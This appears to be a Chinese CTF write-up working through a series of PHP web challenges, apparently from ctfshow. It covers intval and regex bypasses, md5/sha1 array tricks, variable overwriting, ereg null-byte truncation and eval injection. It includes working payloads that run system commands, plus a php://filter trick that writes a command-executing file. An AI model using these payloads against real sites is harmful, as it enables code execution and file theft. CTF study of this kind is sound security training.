if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
考察preg_match函数处理不了数组,错误返回0,即是我们想要的
/?num[]
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
强比较,intval()用于获取变量的整数值,如果输入4476.1应该是符合题干的
/?num=4476.1
还有不少方法,记录一下
/?num=4476a
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
边界字符 ^ 和 $ 匹配开头和结尾
^php 意思为以php开头
php$ 意思是以php结尾
^php$ 意思是以php开头并以php结尾i 表示忽略大小写 m表示多行匹配
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。
通过换行%0a 绕过第二次正则,因为第二次只匹配第一行,第一行是空的
/?cmd=%0aphp
%0aphp即换行+php:
'
php'
经过第一个匹配时,是多行匹配,第一行不满足第二行满足
经过第二个匹配时,是单行匹配,第一行是空的,不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
这次是弱比较,可以利用16进制、8进制、小数点过滤,做法类似web90
弱比较的话4476a是没法绕过了
/?num=0x117c 十六进制
/?num=010574 八进制
/?num=4476.1 小数点
还可以利用e表示科学计数法
/?num=4476e123
4476e123显然不等于4476所以绕过第一关
4476e123 在第二关时,e由于是字母 所以只能读取到4476,所以又符合等于4476 的条件
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
又多过滤了字母,8进制和小数点还可以用
/?num=4476.1
/?num=010574
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() 函数对大小写敏感。
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。
同时注意字符串位置是从0开始,而不是从1开始的。
分析一下就是如果$num中没有0就会die
但是$num中第0个位置是0也会返回下标0,即false
/?num=4476.0 小数点凑0
/?num= 010574 八进制前加空格
/?num=+010574 或者加+
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
多过滤了 .
这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
通过换行符%0a 、空格符%20等结合八进制绕过
/?num= 010574
/?num=+010574
/?num=%20010574
/?num=%0a010574
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
在linux下面表示当前目录是 ./
/?u=./flag.php 相对路径
/?u=/var/www/html/flag.php 绝对路径
/?u=php://filter/resource=flag.php 伪协议
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
a[]=1&b[]=2
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
考察点:三目运算符的理解+变量覆盖
$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,那么就可以用post覆盖get中的值
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
/?1
HTTP_FLAG=flag
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
in_array 检查数组中是否存在某个值,存在弱类型比较
array_push 将一个或多个单元压入数组的末尾
file_put_contents 写入数据进文件
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
is_numeric 检测变量是否为数字或数字字符串
优先级:&& > || > = > and > or
所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号
/?v1=1&v2=system('tac ctfshow.php')&v3=;
/?v1=1&v2=var_dump($ctfshow)&v3=;
flag_is_558ddaaa0x2d6a320x2d43080x2da4ab0x2d6e0c94259ffa
将0x2d替换成-
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
过滤了很多东西
使用反射类直接输出class ctfshow的信息
/?v1=1&v2=echo new ReflectionClass&v3=;
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
substr — 返回字符串的子串 PHP: substr - Manual
call_user_func — 把第一个参数作为回调函数调用PHP: call_user_func - Manual
hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制
$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制
v2要求必须数字,这个数字经过v1转换字符串得到base64,再v3伪协议去base64解码后成为一条php语句
payload:
$a='=`cat *`;'; //这里虽然``反引号无回显,但是短标签自带echo
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出$c=5044383959474e6864434171594473,带e的话会被认为是科学计数法,可以通过is_numeric检测。
同时因为经过substr处理,所以v2前面还要补两位任意数字,这里使用00
就得到了v2=005044383959474e6864434171594473
GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
访问1.php后看源码
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
正则匹配的意思为:$str中不能出现以p开头中间有h然后以p结尾的子串
我们是用的这=`cat *`; 所以没影响
与上一题一样
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
这题只需要传入的v1=v2即可
shal绕过可以用数组,v1[]=1,v2[]=2
或者碰撞出来的0e开头
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
$$的变量覆盖
GET和POST获得的参数是以键值对的形式存储的
分析:(关键就是$$key=$$value)
第一个foreach是GET的键不能是error,第二个是POST的值不能是flag
题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。
分析GET请求
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
//当传入suces=flag时,实际上执行的是$suces=$flag
//即把flag赋值给了suces变量
GET:?suces=flag
分析POST请求
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//传入error=suces,得到$error=$suces=$flag
//即成功把flag的值赋给了error变量
POST:error=suces
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
这里传入的v1和v2不能相等,但是经过sha1之后得相等
sha1()函数无法处理数组,遇到数组时会报错并返回NULL
GET:?v2[]=1
POST:v1[]=2
这几个经过sha1之后都是0exxx的字符串
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str()将字符串解析成多个变量、如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
分析:
parse_str()会将v1字符串解析为变量存于数组v2中。
GET:?v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
//1的md5值为 c4ca4238a0b923820dcc509a6f75849b
这样经过parse_str之后,$v2['flag']=c4ca4238a0b923820dcc509a6f75849b
2,或者直接利用md5无法输出数组,返回是NULL的情况,让两边都是NULL
/?v3[]=
v1=
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
strrev()返回
string
反转后的字符串intval()函数遇到非数字字符就会停止识别, 877aa识别为877
ereg函数是正则表达式匹配,存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,%00是空字符,不是空格什么的,是不可见字符
这题ereg()函数要求GET传入的所有字符都必须是大小写字母,但是想要得到flag,又必须有数字,这时就可以用到ereg()的%00截断漏洞,当ereg读到%00时就被截止。0x36d等于10进制的877
/?c=a%00778
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
只要是变量后面紧跟着(),那么对这个变量进行函数调用。例如$a = 'phpinfo'; $a()即调用phpinfo()
/?v1=Exception&v2=system('tac fl36dg.txt')
反射类解法:
/?v1=Reflectionclass&v2=system('tac fl36dg.txt')
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
FILESYSTEMITERATOR:获取指定目录下的文件
getcwd() 取得当前工作目录
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。因为FilesystemIterator一次只会得到一个文件名。
/?v1=FilesystemIterator&v2=getcwd